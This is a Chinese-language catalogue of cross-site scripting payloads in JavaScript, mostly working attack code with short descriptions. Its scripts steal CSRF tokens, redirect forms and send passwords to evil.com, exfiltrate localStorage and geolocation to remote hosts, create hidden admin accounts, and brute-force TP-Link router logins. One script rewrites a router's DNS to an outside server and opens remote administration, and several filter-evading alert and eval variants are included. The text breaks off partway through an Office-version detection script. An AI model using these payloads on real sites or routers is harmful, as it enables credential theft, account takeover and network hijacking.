
CSRF令牌盗窃

该脚本首先执行对CSRF受保护页面的请求,获取反CSRF标记(存储在本示例的Web表单的“csrf_token”参数中),并将其发送回受损页面并更改值。

说明

点击查看

JS代码

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function request(url, type, callback, send){
var oReq = new XMLHttpRequest();
oReq.open(type, url, true);
oReq.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
oReq.onload = callback;
oReq.send(send);
};

function getListener () {
var el = document.createElement('div');
el.innerHTML = this.responseText;
request('csrf.php', 'POST', postListener, 'csrf_token=' + el.querySelector('input[name="csrf_token"]').value + '&update_profile=value');
};

function postListener(){
console.log(this.responseText)
};

request('csrf.php', 'GET', getListener);

表单重定向

单行改变网页表单的所有行为标签变为任意值。 可以很好地转化为具有一点远程Web应用程序知识的MiTM。

JS代码

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var f=document.forms;var i=f.length-1;do{f[i].action="http://evil.com";f[i].onsubmit=null;}while(--i);

强制下载文件

该脚本创建一个指向要下载的文件的HTML锚点(标记)(示例脚本中的图像)。然后调用“link”对象的click()函数,然后……你去!

JS代码

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var link = document.createElement('a');
link.href = 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe';
link.download = '';
document.body.appendChild(link);
link.click();

截取密码

三种脚本展示了从Web表单中窃取密码的不同方式。 一个基本的脚本,它使用Javascript“form”对象的“onsubmit”属性来拦截和使用表单中设置的值。 另一种是从自动完成中窃取密码并将数据提交给恶意网址。 最后一个使用XHR将数据发送到第三方服务器

JS代码

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/*** Method 1 ***/
function intercept () {
var password = document.forms[0].elements[1].value;
/* do whatever you want with "password" */
}
document.forms[0].onsubmit = intercept;


/*** Method 2 ***/
var user = document.forms[0].elements[0].value;
var pass = document.forms[0].elements[1].value;

window.setTimeout( function () {
var request = new XMLHttpRequest();
request.open("GET", "http://localhost:8000/?user="+user+"&pass="+pass, true);
request.send()
}, 5000);



/*** Method 3 ***/
/* stealing from auto-complete */
window.setTimeout(function () {
document.forms[0].action = "http://evil.com/steal_pass";
document.forms[0].submit();
}, 10000);

alert()变体

一系列不同的方法让弹出窗口显示,而不会被安全系统轻松检测到。

JS代码

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    <script>prompt(1)</script>
<script>confirm(1)</script>
<script>
var fn=window[490837..toString(1<<5)];
fn(atob('YWxlcnQoMSk='));
</script>
<script>
var fn=window[String.fromCharCode(101,118,97,108)];
fn(atob('YWxlcnQoMSk='));
</script>
<script>
var fn=window[atob('ZXZhbA==')];
fn(atob('YWxlcnQoMSk='));
</script>
<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>
<script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script>
<script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script>
<script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
<script>'str1ng'.replace(/1/,alert)</script>
<script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script>
<script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/, function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
<script>eval('\\u'+'0061'+'lert(1)')</script>
<script>throw~delete~typeof~prompt(1)</script>
<script>delete[a=alert]/prompt a(1)</script>
<script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script>
<script>(()=>{return this})().alert(1)</script>
<script>new function(){new.target.constructor('alert(1)')();}</script>
<script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>
<link/rel=prefetch
import href=data:q;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg>
<link rel="import" href="data:x,<script>alert(1)</script>
<script>Array.from`1${alert}3${window}2`</script>
<script>!{x(){alert(1)}}.x()</script>
<script>Array.from`${eval}alert\`1\``</script>
<script>Array.from([1],alert)</script>
<script>Promise.reject("1").then(null,alert)</script>
<svg </onload ="1> (_=alert,_(1)) "">
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
<marquee loop=1 width=0 onfinish=alert(1)>
<p onbeforescriptexecute="alert(1)"><svg><script>\</p>
<img onerror=alert(1) src <u></u>
<videogt;<source onerror=javascript:prompt(911)gt;
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
<script>```${``[class extends[alert``]{}]}```</script>
<script>[class extends[alert````]{}]</script>
<script>throw new class extends Function{}('alert(1)')``</script>
<script>x=new class extends Function{}('alert(1)'); x=new x;</script>
<script>new class extends alert(1){}</script>
<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script>
<script src=data:,\u006fnerror=\u0061lert(1)></script>
"><svg><script/xlink:href="data:,alert(1)
<svg><script/xlink:href=data:,alert(1)></script>
<frameset/onpageshow=alert(1)>
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<div onfocus=alert('xx') id=xss style=display:table>

内联

实现可移植内联HTML5 web worker定义的通用脚本。调用外部脚本不再是必需的,这使得这种类型的攻击更容易执行(并且难以检测到……)。

JS代码

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var targetURL = window.location;

window.URL = window.URL || window.webkitURL;

var code = "/* JS code to be executed in the worker */";

var blob;
try {
blob = new Blob([code], {type: 'application/javascript'});
} catch (e) {
window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder;
blob = new BlobBuilder();
blob.append(code);
blob = blob.getBlob();
}
var worker = new Worker(URL.createObjectURL(blob));

TP-Link路由器

基于WebRTC机制收集IP地址,此脚本尝试对TP-Link路由器登录名和密码执行一次字典式攻击。 它只需要定义一个更现实的词典…

说明

点击查看

JS代码

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function detectFirefox() {
if (navigator.userAgent.toLowerCase().indexOf('firefox') > -1) {
//Do Firefox-related activities
getLocalIP();
} else {
document.write('<h3>Please use Mozilla Firefox to view this demo.</h3>');
}
}
function getLocalIP() {
// Get local and public IP addresses in JavaScript
// More info here: https://github.com/diafygi/webrtc-ips
// See also this: http://www.reddit.com/r/netsec/comments/2ts3qm/get_local_and_public_ip_addresses_in_javascript/

// NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
var RTCPeerConnection = /*window.RTCPeerConnection ||*/ window.webkitRTCPeerConnection || window.mozRTCPeerConnection;

if (RTCPeerConnection) (function () {
var rtc = new RTCPeerConnection({iceServers:[]});
if (1 || window.mozRTCPeerConnection) { // FF [and now Chrome!] needs a channel/stream to proceed
rtc.createDataChannel('', {reliable:false});
};

rtc.onicecandidate = function (evt) {
// convert the candidate to SDP so we can run it through our general parser
// see https://twitter.com/lancestout/status/525796175425720320 for details
if (evt.candidate) grepSDP("a="+evt.candidate.candidate);
};
rtc.createOffer(function (offerDesc) {
grepSDP(offerDesc.sdp);
rtc.setLocalDescription(offerDesc);
}, function (e) { console.warn("offer failed", e); });

var addrs = Object.create(null);
addrs["0.0.0.0"] = false;
function updateDisplay(newAddr) {
if (newAddr in addrs) return;
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
var localIP = displayAddrs.join(" or perhaps ") || "n/a";
document.getElementById('localIP').textContent = localIP;
var routerIP = guessRouterIP(localIP);
startAttack(routerIP);
}

function grepSDP(sdp) {
var hosts = [];
sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39
if (~line.indexOf("a=candidate")) { // http://tools.ietf.org/html/rfc4566#section-5.13
var parts = line.split(' '), // http://tools.ietf.org/html/rfc5245#section-15.1
addr = parts[4],
type = parts[7];
if (type === 'host') updateDisplay(addr);
} else if (~line.indexOf("c=")) { // http://tools.ietf.org/html/rfc4566#section-5.7
var parts = line.split(' '),
addr = parts[2];

updateDisplay(addr);
}
});
}
})();
}
function guessRouterIP(localIP) {
var router = localIP.slice(0, localIP.lastIndexOf('.')) + '.1'
document.getElementById('routerIP').textContent = router;
return router;
}


function startAttack(routerIP) {

// TODO: add routers default passwords comobs to myWordlistArray
var myWordlistArray = ["1:1","2:2","3:3","4:4","5:5","6:6","7:7","8:8","9:9","10:10","11:11","12:12","13:13","14:14","15:15","16:16","17:17","18:18","19:19","20:20","21:21","22:22","23:23","24:24","25:25","26:26","27:27","28:28","29:29","30:30","31:31","32:32","33:33","34:34","35:35","36:36","37:37","admin:admin","39:39","40:40"];

var arrayLength = myWordlistArray.length;

// Going trought myWordlistArray and creating iframes or images
// For "bypassing" Same-origin policy

for (var i = 0; i < arrayLength; i++) {
makeFrame(routerIP,myWordlistArray[i]);
}
}

// Each frame is with random "id" so somehow
// HTTP Basic Auth is somehow not shoving pop-up with 401 responses
// It can be also bypassed with generating a lot of alerts, but you can't close it

// TODO: add local IP to this function, idea is to pass 2 parameters with setTimeout
// for testing purposes
// !!

// Image here is TP-LINK logo, it will show green iframe after successful login

function makeFrame(routerIP,pass) {

ifrm = document.createElement("img");
ifrm.setAttribute("src", "http://" + pass + "@192.168.101.1/images/top1_1.jpg");
ifrm.setAttribute("id", Math.random());
ifrm.style.width = 30+"px";
ifrm.style.height = 30+"px";

document.body.appendChild(ifrm);
ifrm.onload = function() {
var mySplitResult = pass.split(":");
document.getElementById('username').textContent = mySplitResult[0];
document.getElementById('password').textContent = mySplitResult[1];
}
}

onerror编码

用于HTML图像标签的onerror属性的最多四级不同的编码。很难赶上最后。

JS代码

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<img onerror="location='javascript:=lert(1)'" src="x">
<img onerror="location='javascript:%61lert(1)'" src="x">
<img onerror="location='javascript:\x2561lert(1)'" src="x">
<img onerror="location='javascript:\x255Cu0061lert(1)'" src="x" >

代理劫持浏览器的 shell

这种极其复杂的漏洞使攻击者能够劫持在注入浏览器中加载的Web会话,并从那里浏览任何可用的Web应用程序。这对于匿名,权限提升,访问受限访问等是完美的 。无论如何值得阅读文档。

附件下载

点击下载

JS代码

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document.writeln('<iframe id="iframe" src="/admin/admin.php?action=add_admin" width="0" height="0" onload="read()"></iframe>');

function read() {

var name = 'Nytro';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;

document.writeln('<form width="0" height="0" method="post" action="/admin/add_admin.php">');
document.writeln('<input type="text" name="name" value="' + name + '" /><br />');
document.writeln('<input type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Add_admin" /><br />');
document.writeln('</form>');
document.forms[0].submit.click();

}

地理位置

此脚本利用HTML5地理位置功能创建以受害者浏览器位置为中心的Google地图网址。 很有趣,但需要用户授权并依靠XHR发送链接(尽管非常容易绕过)。

附件下载

点击下载

JS代码

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if (document.getElementById('xss_geoloc') == null){ 
function sendXHR(data)
{
var xmlhttp= new XMLHttpRequest();
xmlhttp.open("POST","http://127.0.0.1/secu/geoloc/geoloc.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("geo="+data);
}
function showPosition(position) {

var map ='http://maps.googleapis.com/maps/api/staticmap?center='+ position.coords.latitude+','+position.coords.longitude+'&zoom=14&size=600x400&sensor=false';
sendXHR(encodeURIComponent(map));

}
if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(showPosition);
} else
{
sendXHR("Geolocation is not supported by this browser.");
}



script = document.createElement('script');script.id = 'xss_geoloc'; document.body.appendChild(script); }

地址欺骗

一小段JavaScript代码,可以在Chrome中使用欺骗地址栏打开网页。 没有可能与欺骗页面进行交互,但它仍然非常有趣,因为它在HTTPS中显示有效的证书图标…

JS代码

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function next()
{
w.location.replace('http://www.oracle.com/index.html?'+n);n++;
setTimeout("next();",15);
setTimeout("next();",25);
}
function f()
{
w=window.open("content.html","_blank","width=500 height=500");
i=setInterval("try{x=w.location.href;}catch(e){clearInterval(i);n=0;next();}",5);
}

eval()替换

一组不同的方式来执行字符串,而不会明确地调用eval()函数,或者至少不会太明显。

JS代码

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/***********************/
/* Encoded eval string */
/***********************/
<script>
var eval_b64 = 'ZXZhbA==';
var eval_charcode = 'String.fromCharCode(101,118,97,108)';
var eval_base32 = '490837..toString(1<<5)';
var eval_non_alpha1 = '(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]';
var eval_non_alpha2 = '(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]])';
</script>

/*********************/
/* Through functions */
/*********************/
<script>
var fn=window[atob('ZXZhbA==')];
fn(/*code to eval()/*);
</script>

<script>
var fn=window[String.fromCharCode(101,118,97,108)];
fn(/*code to eval()/*);
</script>

<script>
var fn=window[490837..toString(1<<5)];
fn(/*code to eval()/*);
</script>

/**********************************/
/* Straight through window object */
/**********************************/
<script>
window[atob('ZXZhbA==')](/*code to eval()*/)
</script>

<script>
window[String.fromCharCode(101,118,97,108)](/*code to eval()*/)
</script>

<script>
window[490837..toString(1<<5)](/*code to eval()*/)
</script>

<script>
window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

<script>
window[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

/*************************/
/* Straight through this */
/*************************/
<script>
this[atob('ZXZhbA==')](/*code to eval()*/)
</script>

<script>
this[String.fromCharCode(101,118,97,108)](/*code to eval()*/)
</script>

<script>
this[490837..toString(1<<5)](/*code to eval()*/)
</script>

<script>
this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

<script>
this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]](/* code to eval() */)
</script>

/****************/
/* regexp based */
/****************/
<script>
'e1v2a3l'.replace(/(.).(.).(.).(.)/, function(match,$1,$2,$3,$4) { this[$1+$2+$3+$4](/* code to eval() */); })
</script>

/*********************************/
/* Other ways to execute strings */
/*********************************/
<script>
delete /* code to execute */
throw~delete~typeof~/* code to execute */
delete[a=/* function */]/delete a(/* params */)
var a = (new function(/* code to execute */))();
</script>

TP-Link路由器配置更改

该脚本使用默认凭证访问TP-Link路由器(虽然它们可能是“强制性的”),并在配置中执行2次更改。 1.更改DNS,可用于MitM攻击 2.允许从任何地方远程访问Web界面

说明

点击查看

JS代码

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if (MSIE = navigator.userAgent.indexOf("MSIE") == -1) {
document.writeln("<div style=\'display:none\'>");

function ip1() {
i = new Image;
i.src = 'http://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced';
}
document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip1()>');

function ip3() {
ii = new Image;
ii.src = 'http://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8';
}
document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 onload=ip3()>');
document.writeln("</div>");
}

播放音乐

一个简单的脚本,它使用html5音频标签与受害者分享您最喜爱的MP3。

JS代码

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if(document.getElementById('xss_audio') == null ) {
var a = document.createElement('audio');
a.src = "http://127.0.0.1/music/LesRatsQuittentLeNavire.mp3"
a.autoplay=true;
a.id='xss_audio';
a.style.display='none';
document.body.appendChild(a);
}

Javascript动态加载器加载

FlashHTTPRequest

一个简单的Flash桥接器,用于通过JavaScript执行Flash HTTP请求。 FlashHTTPRequest提供了一种简单,直接的技术,可以使用JavaScript执行GET和POST Flash请求。 仍然限于/crossdomain.xml允许的网站。 提供来自Boris Reitman的CrossXHR,它最有可能受到启发。

说明

点击查看
点击查看

JS代码

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var FlashHTTPRequest;
var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof j.addEventListener!=D){j.addEventListener("DOMContentLoaded",f,false)}if(M.ie&&M.win){j.attachEvent(x,function(){if(j.readyState=="complete"){j.detachEvent(x,arguments.callee);f()}});if(O==top){(function(){if(J){return}try{j.documentElement.doScroll("left")}catch(X){setTimeout(arguments.callee,0);return}f()})()}}if(M.wk){(function(){if(J){return}if(!/loaded|complete/.test(j.readyState)){setTimeout(arguments.callee,0);return}f()})()}s(f)}}();function f(){if(J){return}try{var Z=j.getElementsByTagName("body")[0].appendChild(C("span"));Z.parentNode.removeChild(Z)}catch(aa){return}J=true;var X=U.length;for(var Y=0;Y<X;Y++){U[Y]()}}function K(X){if(J){X()}else{U[U.length]=X}}function s(Y){if(typeof O.addEventListener!=D){O.addEventListener("load",Y,false)}else{if(typeof j.addEventListener!=D){j.addEventListener("load",Y,false)}else{if(typeof O.attachEvent!=D){i(O,"onload",Y)}else{if(typeof O.onload=="function"){var X=O.onload;O.onload=function(){X();Y()}}else{O.onload=Y}}}}}function h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+O.location.toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof Y[X]=="function"){Y[X]=null}}Y.parentNode.removeChild(Y)}}function c(Z){var X=null;try{X=j.getElementById(Z)}catch(Y){}return X}function C(X){return j.createElement(X)}function i(Z,X,Y){Z.attachEvent(X,Y);I[I.length]=[Z,X,Y]}function F(Z){var Y=M.pv,X=Z.split(".");X[0]=parseInt(X[0],10);X[1]=parseInt(X[1],10)||0;X[2]=parseInt(X[2],10)||0;return(Y[0]>X[0]||(Y[0]==X[0]&&Y[1]>X[1])||(Y[0]==X[0]&&Y[1]==X[1]&&Y[2]>=X[2]))?true:false}function v(ac,Y,ad,ab){if(M.ie&&M.mac){return}var aa=j.getElementsByTagName("head")[0];if(!aa){return}var X=(ad&&typeof ad=="string")?ad:"screen";if(ab){n=null;G=null}if(!n||G!=X){var Z=C("style");Z.setAttribute("type","text/css");Z.setAttribute("media",X);n=aa.appendChild(Z);if(M.ie&&M.win&&typeof j.styleSheets!=D&&j.styleSheets.length>0){n=j.styleSheets[j.styleSheets.length-1]}G=X}if(M.ie&&M.win){if(n&&typeof n.addRule==r){n.addRule(ac,Y)}}else{if(n&&typeof j.createTextNode!=D){n.appendChild(j.createTextNode(ac+" {"+Y+"}"))}}}function w(Z,X){if(!m){return}var Y=X?"visible":"hidden";if(J&&c(Z)){c(Z).style.visibility=Y}else{v("#"+Z,"visibility:"+Y)}}function L(Y){var Z=/[\\\"<>\.;]/;var X=Z.exec(Y)!=null;return X&&typeof encodeURIComponent!=D?encodeURIComponent(Y):Y}var d=function(){if(M.ie&&M.win){window.attachEvent("onunload",function(){var ac=I.length;for(var ab=0;ab<ac;ab++){I[ab][0].detachEvent(I[ab][1],I[ab][2])}var Z=N.length;for(var aa=0;aa<Z;aa++){y(N[aa])}for(var Y in M){M[Y]=null}M=null;for(var X in swfobject){swfobject[X]=null}swfobject=null})}}();return{registerObject:function(ab,X,aa,Z){if(M.w3&&ab&&X){var Y={};Y.id=ab;Y.swfVersion=X;Y.expressInstall=aa;Y.callbackFn=Z;o[o.length]=Y;w(ab,false)}else{if(Z){Z({success:false,id:ab})}}},getObjectById:function(X){if(M.w3){return z(X)}},embedSWF:function(ab,ah,ae,ag,Y,aa,Z,ad,af,ac){var X={success:false,id:ah};if(M.w3&&!(M.wk&&M.wk<312)&&ab&&ah&&ae&&ag&&Y){w(ah,false);K(function(){ae+="";ag+="";var aj={};if(af&&typeof af===r){for(var al in af){aj[al]=af[al]}}aj.data=ab;aj.width=ae;aj.height=ag;var am={};if(ad&&typeof ad===r){for(var ak in ad){am[ak]=ad[ak]}}if(Z&&typeof Z===r){for(var ai in Z){if(typeof am.flashvars!=D){am.flashvars+="&"+ai+"="+Z[ai]}else{am.flashvars=ai+"="+Z[ai]}}}if(F(Y)){var an=u(aj,am,ah);if(aj.id==ah){w(ah,true)}X.success=true;X.ref=an}else{if(aa&&A()){aj.data=aa;P(aj,am,ah,ac);return}else{w(ah,true)}}if(ac){ac(X)}})}else{if(ac){ac(X)}}},switchOffAutoHideShow:function(){m=false},ua:M,getFlashPlayerVersion:function(){return{major:M.pv[0],minor:M.pv[1],release:M.pv[2]}},hasFlashPlayerVersion:F,createSWF:function(Z,Y,X){if(M.w3){return u(Z,Y,X)}else{return undefined}},showExpressInstall:function(Z,aa,X,Y){if(M.w3&&A()){P(Z,aa,X,Y)}},removeSWF:function(X){if(M.w3){y(X)}},createCSS:function(aa,Z,Y,X){if(M.w3){v(aa,Z,Y,X)}},addDomLoadEvent:K,addLoadEvent:s,getQueryParamValue:function(aa){var Z=j.location.search||j.location.hash;if(Z){if(/\?/.test(Z)){Z=Z.split("?")[1]}if(aa==null){return L(Z)}var Y=Z.split("&");for(var X=0;X<Y.length;X++){if(Y[X].substring(0,Y[X].indexOf("="))==aa){return L(Y[X].substring((Y[X].indexOf("=")+1)))}}}return""},expressInstallCallback:function(){if(a){var X=c(R);if(X&&l){X.parentNode.replaceChild(l,X);if(Q){w(Q,true);if(M.ie&&M.win){l.style.display="block"}}if(E){E(B)}}a=false}}}}();
var flashvars = { };
var params = {
menu: "false",
scale: "noScale",
allowFullscreen: "true",
allowScriptAccess: "always",
bgcolor: "",
wmode: "direct"
};
var attributes = {
id: "FlashHTTPRequestObject",
name: "FlashHTTPRequestObject"
};
swfobject.embedSWF(
"FlashHTTPRequest.swf",
"flashBridge", "0%", "0%", "10.0.0",
"",
flashvars, params, attributes);

function getFlashMovie(movieName) {
var isIE = navigator.appName.indexOf("Microsoft") != -1;
return (isIE) ? window[movieName] : document[movieName];
}

// Required to bypass a Flash bug - don't ask
function FlashHTTPRequest_js_bridge( callback, response ) {
response = unescape( response );
window[callback](response);
}

var hook = setInterval( function() {
FlashHTTPRequest = getFlashMovie( 'FlashHTTPRequestObject' );
if( typeof( FlashHTTPRequest ) === 'function' ) {
clearInterval( hook );
onhook();
return true;
}
}, 500);

获取本地存储

一个微小的代码来检索HTML5本地存储并通过图像源URL发送出去。

JS代码

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if ('localStorage' in window && window['localStorage'] !== null) {
new Image().src = 'http://remote.com/log.php?localStorage='+JSON.stringify(window['localStorage']);
}


MS Office版本的

此有效负载旨在识别目标系统上运行的MS Office的版本。 目前可以识别Office XP,2003,2007和2010。

JS代码

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var ma = 1;
var mb = 1;
var mc = 1;
var md = 1;

try {
ma = new ActiveXObject("SharePoint.OpenDocuments.4")
